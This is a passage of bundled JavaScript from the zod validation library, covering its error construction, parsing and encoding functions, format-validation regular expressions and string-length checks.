{};\n	for (const k of Object.keys(iss)) {\n		if (k === \"inst\" || k === \"schema\" || k === \"continue\" || k === \"input\" || k === \"__proto__\") continue;\n		full[k] = iss[k];\n	}\n	full.path ?? (full.path = []);\n	full.message = message;\n	if (ctx?.reportInput) full.input = iss.input;\n	return full;\n}\nconst highSurrogate = /[\\uD800-\\uDBFF]/;\nfunction codePointLength(str) {\n	const units = str.length;\n	if (!highSurrogate.test(str)) return units;\n	let count = units;\n	for (let i = 0; i < units - 1; i++) if ((str.charCodeAt(i) & 64512) === 55296 && (str.charCodeAt(i + 1) & 64512) === 56320) {\n		count--;\n		i++;\n	}\n	return count;\n}\nfunction getLengthableOrigin(input) {\n	if (Array.isArray(input)) return \"array\";\n	if (typeof input === \"string\") return \"string\";\n	return \"unknown\";\n}\nfunction parsedType(data) {\n	const t = typeof data;\n	switch (t) {\n		case \"number\": return Number.isNaN(data) ? \"nan\" : \"number\";\n		case \"object\": {\n			if (data === null) return \"null\";\n			if (Array.isArray(data)) return \"array\";\n			const obj = data;\n			if (obj && Object.getPrototypeOf(obj) !== Object.prototype && \"constructor\" in obj && obj.constructor) return obj.constructor.name;\n		}\n	}\n	return t;\n}\nfunction issue(...args) {\n	const [iss, input, inst] = args;\n	if (typeof iss === \"string\") return {\n		message: iss,\n		code: \"custom\",\n		input,\n		inst\n	};\n	return { ...iss };\n}\n/**\n* Installs a trait's members on its prototype. Each value builds that member for the instance on first read; the built value shadows the accessor as an own property, so a detached `const { parse } = schema` keeps working.\n*\n* Call this from a `proto` initializer, which runs once per prototype — never per instance.\n*/\nfunction members(proto, table) {\n	for (const key in table) {\n		const desc = Object.getOwnPropertyDescriptor(table, key);\n		if (desc.get) Object.defineProperty(proto, key, {\n			...desc,\n			enumerable: false\n		});\n		else defineBound(proto, key, desc.value);\n	}\n}\n/** Shadows a prototype member with an own value, so a getter that builds from the instance runs once. */\nfunction own(inst, key, value, enumerable = true) {\n	Object.defineProperty(inst, key, {\n		configurable: true,\n		writable: true,\n		enumerable,\n		value\n	});\n	return value;\n}\n/** Like {@link own}, for a member that was never an own data property and has to stay out of `Object.keys`. */\nfunction hide(inst, key, value) {\n	return own(inst, key, value, false);\n}\n/** Adds members a table derives from the instance: each builds on first read and shadows as own data, and assignment shadows the same way, as when these were own properties. */\nfunction derived(computes, table) {\n	for (const key in computes) {\n		const compute = computes[key];\n		Object.defineProperty(table, key, {\n			configurable: true,\n			enumerable: true,\n			get() {\n				return own(this, key, compute(this));\n			},\n			set(value) {\n				own(this, key, value);\n			}\n		});\n	}\n	return table;\n}\nfunction defineBound(proto, key, fn) {\n	Object.defineProperty(proto, key, {\n		configurable: true,\n		get() {\n			return this == null ? fn : own(this, key, fn.bind(this));\n		},\n		set(value) {\n			own(this, key, value);\n		}\n	});\n}\n/** Returns the prototype to install on, or `undefined` if this group is already installed on it. */\nfunction claim(inst, sentinel) {\n	const proto = Object.getPrototypeOf(inst);\n	return sentinel in proto ? void 0 : proto;\n}\nlet installing;\nlet broke = false;\nconst breaker = {\n	configurable: true,\n	get() {\n		broke = true;\n	}\n};\n/**\n* Installs a lazily-derived internal on the `_zod` prototype of `inst`'s\n* constructor, computed from the internals object itself and cached there on\n* first read. One accessor per constructor rather than one per instance.\n*/\nfunction defineLazyInternal(inst, key, compute) {\n	const proto = Object.getPrototypeOf(inst._zod);\n	if (key in proto && installing !== inst._zod) {\n		installing = void 0;\n		return;\n	}\n	installing = inst._zod;\n	Object.defineProperty(proto, key, {\n		configurable: true,\n		get() {\n			Object.defineProperty(this, key, breaker);\n			const outer = broke;\n			broke = false;\n			try {\n				const value = compute(this);\n				if (broke) delete this[key];\n				else Object.defineProperty(this, key, {\n					configurable: true,\n					writable: true,\n					value\n				});\n				broke = broke || outer;\n				return value;\n			} catch (err) {\n				delete this[key];\n				broke = broke || outer;\n				throw err;\n			}\n		},\n		set(value) {\n			Object.defineProperty(this, key, {\n				configurable: true,\n				writable: true,\n				value\n			});\n		}\n	});\n}\n/**\n* Installs `key` on `inst`'s prototype, computed by `make` on first read and cached there as an own\n* data property. One accessor per constructor rather than one per instance, because an own accessor\n* puts every instance after the first into v8 dictionary mode. The key doubles as the sentinel.\n*/\nfunction installLazyProp(inst, key, make, enumerable) {\n	const proto = claim(inst, key);\n	if (!proto) return;\n	Object.defineProperty(proto, key, {\n		configurable: true,\n		get() {\n			const desc = {\n				configurable: true,\n				writable: true,\n				enumerable,\n				value: void 0\n			};\n			Object.defineProperty(this, key, desc);\n			desc.value = make(this);\n			Object.defineProperty(this, key, desc);\n			return desc.value;\n		},\n		set(value) {\n			Object.defineProperty(this, key, {\n				configurable: true,\n				writable: true,\n				enumerable,\n				value\n			});\n		}\n	});\n}\n/** Marks the thunk `_catch` synthesises for a constant catch value. `Function.length` cannot tell that thunk from a user callback — rest and defaulted parameters both report arity 0 — and a user callback reads `ctx.error`, whose issues only finalize correctly against the caller's per-parse error map. Provenance can say what arity cannot. A plain string key rather than `Symbol.for`, whose call at module scope no bundler can prove pure — the same shape that anchored `urlCanParse` into every build. */\nconst CONSTANT_CATCH = \"~constantCatch\";\n/** Wraps a constant catch value in a thunk tagged with {@link CONSTANT_CATCH}. */\nfunction constantCatch(value) {\n	const fn = () => value;\n	fn[CONSTANT_CATCH] = true;\n	return fn;\n}\n\n//#endregion\n//#region ../../node_modules/.pnpm/zod@4.6.5/node_modules/zod/v4/core/core.js\nvar _a$1;\nconst _zodDesc = {\n	value: void 0,\n	enumerable: false\n};\nlet _E = \"captureStackTrace\" in Error ? Error : null;\nfunction newError(Definition) {\n	const E = _E;\n	if (E) {\n		const saved = E.stackTraceLimit;\n		if (typeof saved === \"number\") {\n			try {\n				E.stackTraceLimit = 0;\n			} catch {\n				_E = null;\n				return new Definition();\n			}\n			try {\n				return new Definition();\n			} finally {\n				E.stackTraceLimit = saved;\n			}\n		}\n	}\n	return new Definition();\n}\nfunction $constructor(name, initializer, proto, params) {\n	const zodProto = {};\n	function Internals(def) {\n		this.def = def;\n		this.constr = _;\n		this.traits = /* @__PURE__ */ new Set();\n	}\n	Internals.prototype = zodProto;\n	const protoMembers = proto;\n	const initialized = protoMembers && /* @__PURE__ */ new WeakSet();\n	function init(inst, def) {\n		if (!inst._zod) {\n			_zodDesc.value = new Internals(def);\n			try {\n				Object.defineProperty(inst, \"_zod\", _zodDesc);\n			} finally {\n				_zodDesc.value = void 0;\n			}\n		} else if (inst._zod.traits.has(name)) return;\n		inst._zod.traits.add(name);\n		initializer(inst, def);\n		if (initialized) {\n			const own = Object.getPrototypeOf(inst);\n			const ctorProto = inst._zod.constr.prototype;\n			let up = own;\n			while (up && up !== ctorProto) up = Object.getPrototypeOf(up);\n			const target = up ?? own;\n			if (!initialized.has(target)) {\n				initialized.add(target);\n				members(target, protoMembers);\n			}\n		}\n		const proto = _.prototype;\n		for (const k in proto) {\n			if (!Object.prototype.hasOwnProperty.call(proto, k)) continue;\n			if (!(k in inst)) inst[k] = proto[k].bind(inst);\n		}\n	}\n	const Parent = params?.Parent ?? Object;\n	class Definition extends Parent {}\n	Object.defineProperty(Definition, \"name\", { value: name });\n	function _(def) {\n		const inst = params?.Parent ? newError(Definition) : this;\n		init(inst, def);\n		const deferred = inst._zod.deferred;\n		if (deferred) {\n			for (const fn of deferred) fn();\n			inst._zod.deferred = void 0;\n		}\n		const pp = globalThis.__zod_globalConfig?.postProcessor;\n		if (pp) pp(inst);\n		return inst;\n	}\n	Object.defineProperty(_, \"init\", { value: init });\n	Object.defineProperty(_, Symbol.hasInstance, { value: (inst) => {\n		if (params?.Parent && inst instanceof params.Parent) return true;\n		return inst?._zod?.traits?.has(name);\n	} });\n	Object.defineProperty(_, \"name\", { value: name });\n	return _;\n}\nvar $ZodAsyncError = class extends Error {\n	constructor() {\n		super(`Encountered Promise during synchronous parse. Use .parseAsync() instead.`);\n	}\n};\nvar $ZodEncodeError = class extends Error {\n	constructor(name) {\n		super(`Encountered unidirectional transform during encode: ${name}`);\n		this.name = \"ZodEncodeError\";\n	}\n};\n(_a$1 = globalThis).__zod_globalConfig ?? (_a$1.__zod_globalConfig = {});\nconst globalConfig = globalThis.__zod_globalConfig;\nfunction config(newConfig) {\n	if (newConfig) Object.assign(globalConfig, newConfig);\n	return globalConfig;\n}\n\n//#endregion\n//#region ../../node_modules/.pnpm/zod@4.6.5/node_modules/zod/v4/core/errors.js\nfunction _getMessage() {\n	const internals = this._zod;\n	internals.message ?? (internals.message = JSON.stringify(internals.def, jsonStringifyReplacer, 2));\n	return internals.message;\n}\nfunction _setMessage(value) {\n	this._zod.message = value;\n}\nconst _messageDesc = {\n	get: _getMessage,\n	set: _setMessage,\n	enumerable: true,\n	configurable: true\n};\nconst _issuesDesc = {\n	value: void 0,\n	enumerable: false\n};\nconst _installedToString = /* @__PURE__ */ new WeakSet([Object.prototype, Error.prototype]);\nconst initializer$1 = (inst, def) => {\n	inst.name = \"$ZodError\";\n	_issuesDesc.value = def;\n	Object.defineProperty(inst, \"issues\", _issuesDesc);\n	_issuesDesc.value = void 0;\n	Object.defineProperty(inst, \"message\", _messageDesc);\n	const proto = Object.getPrototypeOf(inst);\n	if (!_installedToString.has(proto)) {\n		_installedToString.add(proto);\n		Object.defineProperty(proto, \"toString\", {\n			configurable: true,\n			enumerable: false,\n			get() {\n				const value = () => this.message;\n				Object.defineProperty(this, \"toString\", {\n					value,\n					configurable: true,\n					writable: true\n				});\n				return value;\n			},\n			set(value) {\n				Object.defineProperty(this, \"toString\", {\n					value,\n					configurable: true,\n					writable: true\n				});\n			}\n		});\n	}\n};\nconst $ZodError = $constructor(\"$ZodError\", initializer$1);\nconst $ZodRealError = $constructor(\"$ZodError\", initializer$1, void 0, { Parent: Error });\n/** Get-or-create `obj[key]` as an own data property. A path segment naming an inherited member\n* (\"toString\", \"constructor\") would otherwise read through to the prototype, and assigning\n* \"__proto__\" would hit the setter instead of creating a key. */\nfunction node(obj, key, make) {\n	if (!Object.prototype.hasOwnProperty.call(obj, key)) {\n		if (key === \"__proto__\") Object.defineProperty(obj, key, {\n			value: make(),\n			writable: true,\n			enumerable: true,\n			configurable: true\n		});\n		else obj[key] = make();\n	}\n	return obj[key];\n}\nfunction flattenError(error, mapper = (issue) => issue.message) {\n	const fieldErrors = {};\n	const formErrors = [];\n	for (const sub of error.issues) if (sub.path.length > 0) node(fieldErrors, sub.path[0], () => []).push(mapper(sub));\n	else formErrors.push(mapper(sub));\n	return {\n		formErrors,\n		fieldErrors\n	};\n}\nfunction formatError(error, mapper = (issue) => issue.message) {\n	const fieldErrors = { _errors: [] };\n	const processError = (error, path = []) => {\n		for (const issue of error.issues) if (issue.code === \"invalid_union\" && issue.errors.length) issue.errors.map((issues) => processError({ issues }, [...path, ...issue.path]));\n		else if (issue.code === \"invalid_key\") processError({ issues: issue.issues }, [...path, ...issue.path]);\n		else if (issue.code === \"invalid_element\") processError({ issues: issue.issues }, [...path, ...issue.path]);\n		else {\n			const fullpath = [...path, ...issue.path];\n			if (fullpath.length === 0) fieldErrors._errors.push(mapper(issue));\n			else {\n				let curr = fieldErrors;\n				let i = 0;\n				while (i < fullpath.length) {\n					const el = fullpath[i];\n					const terminal = i === fullpath.length - 1;\n					if (el === \"_errors\") {\n						if (terminal) curr._errors.push(mapper(issue));\n						i++;\n						continue;\n					}\n					if (!Object.prototype.hasOwnProperty.call(curr, el)) Object.defineProperty(curr, el, {\n						value: { _errors: [] },\n						enumerable: true,\n						writable: true,\n						configurable: true\n					});\n					const node = curr[el];\n					if (terminal) node._errors.push(mapper(issue));\n					curr = node;\n					i++;\n				}\n			}\n		}\n	};\n	processError(error);\n	return fieldErrors;\n}\n\n//#endregion\n//#region ../../node_modules/.pnpm/zod@4.6.5/node_modules/zod/v4/core/parse.js\nfunction finalizeParams(callee, params) {\n	return {\n		callee: params?.callee ?? callee,\n		Err: params?.Err\n	};\n}\nconst _parse = (_Err) => {\n	const fn = (schema, value, _ctx, _params) => {\n		const ctx = _ctx ? {\n			..._ctx,\n			async: false\n		} : { async: false };\n		const result = schema._zod.run({\n			value,\n			issues: []\n		}, ctx);\n		if (result instanceof Promise) throw new $ZodAsyncError();\n		if (result.issues.length) {\n			const e = new ((_params?.Err) ?? _Err)(result.issues.map((iss) => finalizeIssue(iss, ctx, config())));\n			captureStackTrace(e, _params?.callee ?? fn);\n			throw e;\n		}\n		return result.value;\n	};\n	return fn;\n};\nconst _parseAsync = (_Err) => {\n	const fn = async (schema, value, _ctx, params) => {\n		const ctx = _ctx ? {\n			..._ctx,\n			async: true\n		} : { async: true };\n		let result = schema._zod.run({\n			value,\n			issues: []\n		}, ctx);\n		if (result instanceof Promise) result = await result;\n		if (result.issues.length) {\n			const e = new ((params?.Err) ?? _Err)(result.issues.map((iss) => finalizeIssue(iss, ctx, config())));\n			captureStackTrace(e, params?.callee ?? fn);\n			throw e;\n		}\n		return result.value;\n	};\n	return fn;\n};\nconst _safeParse = (_Err) => (schema, value, _ctx) => {\n	const ctx = _ctx ? {\n		..._ctx,\n		async: false\n	} : { async: false };\n	const result = schema._zod.run({\n		value,\n		issues: []\n	}, ctx);\n	if (result instanceof Promise) throw new $ZodAsyncError();\n	return result.issues.length ? failure(_Err, result.issues, ctx) : {\n		success: true,\n		data: result.value\n	};\n};\nfunction failure(Err, issues, ctx) {\n	let error;\n	return {\n		success: false,\n		get error() {\n			if (!error) {\n				error = new Err(issues.map((iss) => finalizeIssue(iss, ctx, config())));\n				issues = void 0;\n				ctx = void 0;\n			}\n			return error;\n		},\n		set error(e) {\n			error = e;\n			issues = void 0;\n			ctx = void 0;\n		}\n	};\n}\nconst _safeParseAsync = (_Err) => async (schema, value, _ctx) => {\n	const ctx = _ctx ? {\n		..._ctx,\n		async: true\n	} : { async: true };\n	let result = schema._zod.run({\n		value,\n		issues: []\n	}, ctx);\n	if (result instanceof Promise) result = await result;\n	return result.issues.length ? failure(_Err, result.issues, ctx) : {\n		success: true,\n		data: result.value\n	};\n};\nconst COMPILE_INVALID = /* @__PURE__ */ Symbol.for(\"zod.compile.invalid\");\nconst COMPILE_FALLBACK = /* @__PURE__ */ Symbol.for(\"zod.compile.fallback\");\nconst validate = ((schema, value, _ctx) => {\n	const validator = schema._zod.bag.validator;\n	if (validator !== void 0) {\n		if (validator(value) !== COMPILE_INVALID) return true;\n		if (validator.definite === true && _ctx === void 0) return false;\n	}\n	return validateFallback(schema, value, _ctx);\n});\nfunction validateFallback(schema, value, _ctx) {\n	const ctx = _ctx ? {\n		..._ctx,\n		async: false,\n		abortEarly: true\n	} : {\n		async: false,\n		abortEarly: true\n	};\n	const fallbackRun = schema._zod.bag.fallbackRun;\n	let result;\n	if (fallbackRun) {\n		ctx[COMPILE_FALLBACK] = true;\n		result = fallbackRun({\n			value,\n			issues: []\n		}, ctx);\n	} else result = schema._zod.run({\n		value,\n		issues: []\n	}, ctx);\n	if (result instanceof Promise) throw new $ZodAsyncError();\n	return result.issues.length === 0;\n}\nconst validateAsync$1 = async (schema, value, _ctx) => {\n	const ctx = _ctx ? {\n		..._ctx,\n		async: true,\n		abortEarly: true\n	} : {\n		async: true,\n		abortEarly: true\n	};\n	let result = schema._zod.run({\n		value,\n		issues: []\n	}, ctx);\n	if (result instanceof Promise) result = await result;\n	return result.issues.length === 0;\n};\nconst _encode = (_Err) => {\n	const parse = _parse(_Err);\n	const fn = (schema, value, _ctx, _params) => {\n		const ctx = _ctx ? {\n			..._ctx,\n			direction: \"backward\"\n		} : { direction: \"backward\" };\n		return parse(schema, value, ctx, finalizeParams(fn, _params));\n	};\n	return fn;\n};\nconst _decode = (_Err) => {\n	const parse = _parse(_Err);\n	const fn = (schema, value, _ctx, _params) => {\n		return parse(schema, value, _ctx, finalizeParams(fn, _params));\n	};\n	return fn;\n};\nconst _encodeAsync = (_Err) => {\n	const parseAsync = _parseAsync(_Err);\n	const fn = async (schema, value, _ctx, _params) => {\n		const ctx = _ctx ? {\n			..._ctx,\n			direction: \"backward\"\n		} : { direction: \"backward\" };\n		return await parseAsync(schema, value, ctx, finalizeParams(fn, _params));\n	};\n	return fn;\n};\nconst _decodeAsync = (_Err) => {\n	const parseAsync = _parseAsync(_Err);\n	const fn = async (schema, value, _ctx, _params) => {\n		return await parseAsync(schema, value, _ctx, finalizeParams(fn, _params));\n	};\n	return fn;\n};\nconst _safeEncode = (_Err) => (schema, value, _ctx) => {\n	const ctx = _ctx ? {\n		..._ctx,\n		direction: \"backward\"\n	} : { direction: \"backward\" };\n	return _safeParse(_Err)(schema, value, ctx);\n};\nconst _safeDecode = (_Err) => (schema, value, _ctx) => {\n	return _safeParse(_Err)(schema, value, _ctx);\n};\nconst _safeEncodeAsync = (_Err) => async (schema, value, _ctx) => {\n	const ctx = _ctx ? {\n		..._ctx,\n		direction: \"backward\"\n	} : { direction: \"backward\" };\n	return _safeParseAsync(_Err)(schema, value, ctx);\n};\nconst _safeDecodeAsync = (_Err) => async (schema, value, _ctx) => {\n	return _safeParseAsync(_Err)(schema, value, _ctx);\n};\n\n//#endregion\n//#region ../../node_modules/.pnpm/zod@4.6.5/node_modules/zod/v4/core/regexes.js\n/**\n* @deprecated CUID v1 is deprecated by its authors due to information leakage\n* (timestamps embedded in the id). Use {@link cuid2} instead.\n* See https://github.com/paralleldrive/cuid.\n*/\nconst cuid = /^[cC][0-9a-z]{6,}$/;\nconst cuid2 = /^[0-9a-z]+$/;\nconst ulid = /^[0-7][0-9A-HJKMNP-TV-Za-hjkmnp-tv-z]{25}$/;\nconst xid = /^[0-9a-vA-V]{20}$/;\nconst ksuid = /^[A-Za-z0-9]{27}$/;\nconst nanoid = /^[a-zA-Z0-9_-]{21}$/;\nfunction nanoidOfLength(length) {\n	return new RegExp(`^[a-zA-Z0-9_-]{${length}}$`);\n}\n/** ISO 8601-1 duration regex. Does not support the 8601-2 extensions like negative durations or fractional/negative components. */\nconst duration = /^P(?:(\\d+W)|(?!.*W)(?=\\d|T\\d)(\\d+Y)?(\\d+M)?(\\d+D)?(T(?=\\d)(\\d+H)?(\\d+M)?(\\d+([.,]\\d+)?S)?)?)$/;\n/** A regex for any UUID-like identifier: 8-4-4-4-12 hex pattern */\nconst guid = /^([0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12})$/;\n/** Returns a regex for validating an RFC 9562/4122 UUID.\n*\n* @param version Optionally specify a version 1-8. If no version is specified, all versions are supported. */\nconst uuid = (version) => {\n	if (!version) return /^([0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[1-8][0-9a-fA-F]{3}-[89abAB][0-9a-fA-F]{3}-[0-9a-fA-F]{12}|00000000-0000-0000-0000-000000000000|ffffffff-ffff-ffff-ffff-ffffffffffff)$/;\n	return new RegExp(`^([0-9a-fA-F]{8}-[0-9a-fA-F]{4}-${version}[0-9a-fA-F]{3}-[89abAB][0-9a-fA-F]{3}-[0-9a-fA-F]{12})$`);\n};\n/** Practical email validation */\nconst email = /^(?:[A-Za-z0-9_'+\\-]+\\.)*[A-Za-z0-9_'+\\-]*[A-Za-z0-9_+-]@(?:[A-Za-z0-9][A-Za-z0-9\\-]*\\.)+[A-Za-z]{2,}$/;\nconst _emoji$1 = `^(?=[\\\\s\\\\S]*[\\\\p{Extended_Pictographic}\\\\p{Regional_Indicator}\\\\u20E3])[\\\\p{Extended_Pictographic}\\\\p{Emoji_Component}]+$`;\nfunction emoji() {\n	return new RegExp(_emoji$1, \"u\");\n}\nconst ipv4 = /^(?:(?:25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])\\.){3}(?:25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])$/;\nconst ipv6 = /^(([0-9a-fA-F]{1,4}:){7}[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,7}:|([0-9a-fA-F]{1,4}:){1,6}:[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,5}(:[0-9a-fA-F]{1,4}){1,2}|([0-9a-fA-F]{1,4}:){1,4}(:[0-9a-fA-F]{1,4}){1,3}|([0-9a-fA-F]{1,4}:){1,3}(:[0-9a-fA-F]{1,4}){1,4}|([0-9a-fA-F]{1,4}:){1,2}(:[0-9a-fA-F]{1,4}){1,5}|[0-9a-fA-F]{1,4}:((:[0-9a-fA-F]{1,4}){1,6})|:((:[0-9a-fA-F]{1,4}){1,7}|:))$/;\nconst cidrv4 = /^((25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])\\.){3}(25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])\\/([0-9]|[1-2][0-9]|3[0-2])$/;\nconst cidrv6 = /^(([0-9a-fA-F]{1,4}:){7}[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,7}:|([0-9a-fA-F]{1,4}:){1,6}:[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,5}(:[0-9a-fA-F]{1,4}){1,2}|([0-9a-fA-F]{1,4}:){1,4}(:[0-9a-fA-F]{1,4}){1,3}|([0-9a-fA-F]{1,4}:){1,3}(:[0-9a-fA-F]{1,4}){1,4}|([0-9a-fA-F]{1,4}:){1,2}(:[0-9a-fA-F]{1,4}){1,5}|[0-9a-fA-F]{1,4}:((:[0-9a-fA-F]{1,4}){1,6})|:((:[0-9a-fA-F]{1,4}){1,7}|:))\\/(12[0-8]|1[01][0-9]|[1-9]?[0-9])$/;\nconst base64 = /^$|^(?:[0-9a-zA-Z+/]{4})*(?:(?:[0-9a-zA-Z+/]{2}==)|(?:[0-9a-zA-Z+/]{3}=))?$/;\nconst base64url = /^(?:[A-Za-z0-9_-]{4})*(?:[A-Za-z0-9_-]{2,3})?$/;\nconst httpProtocol = /^https?$/;\nconst e164 = /^\\+[1-9]\\d{6,14}$/;\nconst dateSource = `(?:(?:\\\\d\\\\d[2468][048]|\\\\d\\\\d[13579][26]|\\\\d\\\\d0[48]|[02468][048]00|[13579][26]00)-02-29|\\\\d{4}-(?:(?:0[13578]|1[02])-(?:0[1-9]|[12]\\\\d|3[01])|(?:0[469]|11)-(?:0[1-9]|[12]\\\\d|30)|(?:02)-(?:0[1-9]|1\\\\d|2[0-8])))`;\n/** Anchors a pattern source. The interpolation lives here rather than at the call site because\n* esbuild will not drop a `@__PURE__` call whose own argument interpolates a variable, but it\n* will drop `anchor(dateSource)`. Keeping it inline pinned `date` into every bundle. */\nfunction anchor(source) {\n	return new RegExp(`^${source}$`);\n}\nconst date = /*@__PURE__*/ anchor(dateSource);\nfunction timeSource(args) {\n	const hhmm = `(?:[01]\\\\d|2[0-3]):[0-5]\\\\d`;\n	return typeof args.precision === \"number\" ? args.precision === -1 ? `${hhmm}` : args.precision === 0 ? `${hhmm}:[0-5]\\\\d` : `${hhmm}:[0-5]\\\\d\\\\.\\\\d{${args.precision}}` : args.seconds ? `${hhmm}:[0-5]\\\\d(?:\\\\.\\\\d+)?` : `${hhmm}(?::[0-5]\\\\d(?:\\\\.\\\\d+)?)?`;\n}\nfunction time(args) {\n	return new RegExp(`^${timeSource(args)}$`);\n}\nfunction datetime(args) {\n	const opts = [\"Z\"];\n	if (args.offset) opts.push(`([+-](?:[01]\\\\d|2[0-3]):[0-5]\\\\d)`);\n	const qualified = `${timeSource({\n		precision: args.precision,\n		seconds: true\n	})}(?:${opts.join(\"|\")})`;\n	const timeRegex = args.local ? `${qualified}|${timeSource({ precision: args.precision })}` : qualified;\n	return new RegExp(`^${dateSource}T(?:${timeRegex})$`);\n}\nconst anyString = /^[\\s\\S]{0,}$/;\nconst integer = /^-?\\d+$/;\nconst number = /^-?\\d+(?:\\.\\d+)?$/;\nconst lowercase = /^[^A-Z]*$/;\nconst uppercase = /^[^a-z]*$/;\n\n//#endregion\n//#region ../../node_modules/.pnpm/zod@4.6.5/node_modules/zod/v4/core/checks.js\nconst $ZodCheck = /*@__PURE__*/ $constructor(\"$ZodCheck\", (inst, def) => {\n	var _a;\n	inst._zod ?? (inst._zod = {});\n	inst._zod.def = def;\n	(_a = inst._zod).onattach ?? (_a.onattach = []);\n});\n/** Default `when` for length-based checks: run only on non-nullish values with a `length`. */\nconst _whenHasLength = (payload) => {\n	const val = payload.value;\n	return !nullish(val) && val.length !== void 0;\n};\nconst $ZodCheckMaxLength = /*@__PURE__*/ $constructor(\"$ZodCheckMaxLength\", (inst, def) => {\n	var _a;\n	$ZodCheck.init(inst, def);\n	(_a = inst._zod.def).when ?? (_a.when = _whenHasLength);\n	inst._zod.check = (payload) => {\n		const input = payload.value;\n		const units = input.length;\n		if ((typeof input === \"string\" && units > def.maximum ? codePointLength(input) : units) <= def.maximum) return;\n		const origin = getLengthableOrigin(input);\n		payload.issues.push({\n			origin,\n			code: \"too_big\",\n			maximum: def.maximum,\n			inclusive: true,\n			input,\n			inst,\n			continue: !def.abort\n		});\n	};\n});\nconst $ZodCheckMinLength = /*@__PURE__*/ $constructor(\"$ZodCheckMinLength\", (inst, def) => {\n	var _a;\n	$ZodCheck.init(inst, def);\n	(_a = inst._zod.def).when ?? (_a.when = _whenHasLength);\n	inst._zod.check = (payload) => {\n		const input = payload.value;\n		const units = input.length;\n		if ((typeof input === \"string\" && units >= def.minimum && units < def.minimum * 2 ? codePointLength(input) : units) >= def.minimum) return;\n		const origin = getLengthableOrigin(input);\n		payload.issues.push({\n			origin,\n			code: \"too_small\",\n			minimum: def.minimum,\n			inclusive: true,\n			input,\n			inst,\n			continue: !def.abort\n		});\n	};\n});\nconst $ZodCheckLengthEquals = /*@__PURE__*/ $constructor(\"$ZodCheckLengthEquals\", (inst, def) => {\n	var _a;\n	$ZodCheck.init(inst, def);\n	(_a = inst._zod.def).when ?? (_a.when = _whenHasLength);\n	inst._zod.check = (payload) => {\n		const input = payload.value;\n		const units = input.length;\n		const length = typeof input === \"string\" && units >= def.length && units <= def.length * 2 ? codePointLength(input) : units;\n		if (length === def.length) return;\n		const origin = getLengthableOrigin(input);\n		const tooBig = length > def.length;\n		payload.issues.push({\n			origin,\n			...tooBig ? {\n				code: \"too_big\",\n				maximum: def.length\n			} : {\n				code: \"too_small\",\n				minimum: def.length\n			},\n			inclusive: true,\n			exact: true,\n			input: payload.value,\n			inst,\n			continue: !def.abort\n		});\n	};\n});\nconst $ZodCheckStringFormat = /*@__PURE__*/ $constructor(\"$ZodCheckStringFormat\", (inst, def) => {\n	var _a, _b;\n	$ZodCheck.init(inst, def);\n	if (def.pattern) (_a = inst._zod).check ?? (_a.check = (payload) => {\n		def.pattern.lastIndex = 0;\n		if (def.pattern.test(payload.value)) return;\n		payload.issues.push({\n			origin: \"string\",\n			code: \"invalid_format\",\n			format: def.format,\n			input: payload.value,\n			...def.pattern ? { pattern: def.pattern.toString() } : {},\n			inst,\n			continue: !def.abort\n		});\n	});\n	else (_b = inst._zod).check ?? (_b.check = () => {});\n});\nconst $ZodCheckRegex = /*@__PURE__*/ $constructor(\"$ZodCheckRegex\", (inst, def) => {\n	$ZodCheckStringFormat.init(inst, def);\n	inst._zod.check = (payload) => {\n		def.pattern.lastIndex = 0;\n		if (def.pattern.test(payload.value)) return;\n		payload.issues.push({\n			origin: \"string\",\n			code: \"invalid_format\",\n			format: \"regex\",\n			input: payload.value,\n			pattern: def.pattern.toString(),\n			inst,\n			continue: !def.abort\n		});\n	};\n});\nconst $ZodCheckLowerCase = /*@__PURE__*/ $constructor(\"$ZodCheckLowerCase\", (inst, def) => {\n	def.pattern ?? (def.pattern = lowercase);\n	$ZodCheckStringFormat.init(inst, def);\n});\nconst $ZodCheckUpperCase = /*@__PURE__*/ $constructor(\"$ZodCheckUpperCase\", (inst, def) => {\n	def.pattern ?? (def.pattern = uppercase);\n	$ZodCheckStringFormat.init(inst, def);\n});\nconst $ZodCheckIncludes = /*@__PURE__*/ $constructor(\"$ZodCheckIncludes\", (inst, def) => {\n	$ZodCheck.init(inst, def);\n	const escapedRegex = escapeRegex(def.includes);\n	def.pattern = new RegExp(typeof def.position === \"number\" ? `^.{${def.position},}${escapedRegex}` : escapedRegex);\n	inst._zod.check = (payload) => {\n		if (payload.value.includes(def.includes, def.position)) return;\n		payload.issues.push({\n			origin: \"string\",\n			code: \"invalid_format\",\n			format: \"includes\",\n			includes: def.includes,\n			input: payload.value,\n			inst,\n			continue: !def.abort\n		});\n	};\n});\nconst $ZodCheckStartsWith = /*@__PURE__*/ $constructor(\"$ZodCheckStartsWith\", (inst, def) => {\n	$ZodCheck.init(inst, def);\n	const pattern = new RegExp(`^${escapeRegex(def.prefix)}.*`);\n	def.pattern ?? (def.pattern = pattern);\n	inst._zod.check = (payload) => {\n		if (payload.value.startsWith(def.prefix)) return;\n		payload.issues.push({\n			origin: \"string\",\n			code: \"invalid_format\",\n			format: \"starts_with\",\n			prefix: def.prefix,\n			input: payload.value,\n			inst,\n			continue: !def.abort\n		});\n	};\n});\nconst $ZodCheckEndsWith = /*@__PURE__*/ $constructor(\"$ZodCheckEndsWith\", (inst, def) => {\n	$ZodCheck.init(inst, def);\n	const pattern = new RegExp(`.*${escapeRegex(def.suffix)}$`);\n	def.pattern ?? (def.pattern = pattern);\n	inst._zod.check = (payload) => {\n		if (payload.value.endsWith(def.suffix)) return;\n		payload.issues.push({\n			origin: \"string\",\n			code: \"invalid_format\",\n			format: \"ends_with\",\n			suffix: def.suffix,\n			input: payload.value,\n			inst,\n			continue: !def.abort\n		});\n	};\n});\nconst $ZodCheckOverwrite = /*@__PURE__*/ $constructor(\"$ZodCheckOverwrite\", (inst, def) => {\n	$ZodCheck.init(inst, def);\n	inst._zod.check = (payload) => {\n		payload.value = def.tx(payload.value);\n	